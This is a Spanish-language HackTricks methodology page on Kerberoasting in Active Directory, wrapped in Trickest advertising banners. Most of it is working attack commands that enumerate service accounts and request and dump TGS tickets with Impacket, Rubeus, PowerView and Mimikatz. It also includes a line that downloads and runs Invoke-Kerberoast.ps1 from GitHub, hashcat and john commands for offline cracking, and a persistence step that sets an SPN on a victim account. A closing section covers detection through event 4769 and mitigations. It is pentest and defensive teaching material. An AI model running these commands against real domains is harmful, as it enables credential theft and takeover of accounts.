hacktricks/windows-hardening/active-directory-methodology/kerberoast.md

12 KiB

Kerberoast


Utilice Trickest para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Kerberoast

El objetivo de Kerberoasting es recolectar tickets TGS para servicios que se ejecutan en nombre de cuentas de usuario en el AD, no en cuentas de computadora. Por lo tanto, parte de estos tickets TGS están encriptados con claves derivadas de las contraseñas de usuario. Como consecuencia, sus credenciales podrían ser descifradas sin conexión.
Puede saber que se está utilizando una cuenta de usuario como un servicio porque la propiedad "ServicePrincipalName" no es nula.

Por lo tanto, para realizar Kerberoasting, solo se necesita una cuenta de dominio que pueda solicitar TGS, lo cual puede ser cualquiera ya que no se requieren privilegios especiales.

Necesita credenciales válidas dentro del dominio.

Ataque

{% hint style="warning" %} Las herramientas de Kerberoasting suelen solicitar cifrado RC4 al realizar el ataque e iniciar solicitudes TGS-REQ. Esto se debe a que RC4 es más débil y más fácil de descifrar sin conexión utilizando herramientas como Hashcat que otros algoritmos de cifrado como AES-128 y AES-256.
Los hashes RC4 (tipo 23) comienzan con $krb5tgs$23$* mientras que los AES-256 (tipo 18) comienzan con $krb5tgs$18$*. {% endhint %}

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Herramientas multifuncionales que incluyen un volcado de usuarios kerberoastables:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Enumerar usuarios vulnerables a Kerberoasting
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Técnica 1: Solicitar TGS y extraerlo de la memoria

En esta técnica, el objetivo es solicitar un Service Ticket (TGS) a un servidor de dominio y luego extraerlo de la memoria del sistema. El TGS contiene información sensible, como la clave de sesión del servicio, que puede ser utilizada para realizar ataques de fuerza bruta y obtener las contraseñas de los usuarios.

Para llevar a cabo esta técnica, se pueden utilizar herramientas como Mimikatz o Rubeus. Estas herramientas permiten solicitar un TGS para un servicio específico y luego extraerlo de la memoria del sistema. Una vez que se ha obtenido el TGS, se puede utilizar para realizar ataques de fuerza bruta y obtener la contraseña del servicio.

Es importante tener en cuenta que esta técnica requiere privilegios de administrador en el sistema objetivo, ya que es necesario acceder a la memoria del sistema para extraer el TGS. Además, es posible que se requiera acceso físico al sistema o privilegios de red para solicitar el TGS al servidor de dominio.

Para protegerse contra esta técnica, se recomienda implementar medidas de seguridad como la limitación de privilegios de administrador, el monitoreo de eventos de seguridad y la implementación de soluciones de detección de ataques de fuerza bruta. Además, es importante mantener el sistema operativo y las aplicaciones actualizadas para mitigar posibles vulnerabilidades que puedan ser explotadas en esta técnica.

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Técnica 2: Herramientas automáticas
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

{% hint style="warning" %} Cuando se solicita un TGS, se genera el evento de Windows 4769 - Se solicitó un ticket de servicio Kerberos. {% endhint %}


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente, utilizando las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Descifrado

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistencia

Si tienes suficientes permisos sobre un usuario, puedes hacerlo vulnerable al ataque de kerberoasting:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Puedes encontrar herramientas útiles para ataques de kerberoast aquí: https://github.com/nidem/kerberoast

Si encuentras este error desde Linux: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great), se debe a la hora local, necesitas sincronizar el host con el DC. Hay algunas opciones:

  • ntpdate <IP del DC> - Obsoleto a partir de Ubuntu 16.04
  • rdate -n <IP del DC>

Mitigación

Kerberoast es muy sigiloso si es explotable.

  • Evento de seguridad ID 4769: se solicitó un ticket de Kerberos.
  • Dado que 4769 es muy frecuente, vamos a filtrar los resultados:
  • El nombre del servicio no debe ser krbtgt.
  • El nombre del servicio no debe terminar con $ (para filtrar las cuentas de máquina utilizadas para servicios).
  • El nombre de la cuenta no debe ser machine@domain (para filtrar las solicitudes de máquinas).
  • El código de error de fallo es '0x0' (para filtrar los fallos, 0x0 es éxito).
  • Lo más importante, el tipo de cifrado del ticket es 0x17.
  • Mitigación:
  • Las contraseñas de las cuentas de servicio deben ser difíciles de adivinar (más de 25 caracteres).
  • Utilizar cuentas de servicio administradas (cambio automático de contraseña periódicamente y gestión delegada de SPN).
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Más información sobre Kerberoasting en ired.team aquíy aquí.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}